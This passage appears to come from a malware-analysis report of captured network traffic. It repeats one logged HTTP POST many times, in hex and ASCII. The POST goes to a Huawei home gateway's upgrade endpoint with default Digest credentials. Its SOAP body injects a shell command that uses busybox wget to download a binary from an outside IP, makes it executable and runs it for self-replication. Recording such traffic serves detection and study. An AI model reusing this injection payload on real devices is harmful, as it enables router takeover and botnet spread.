s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" 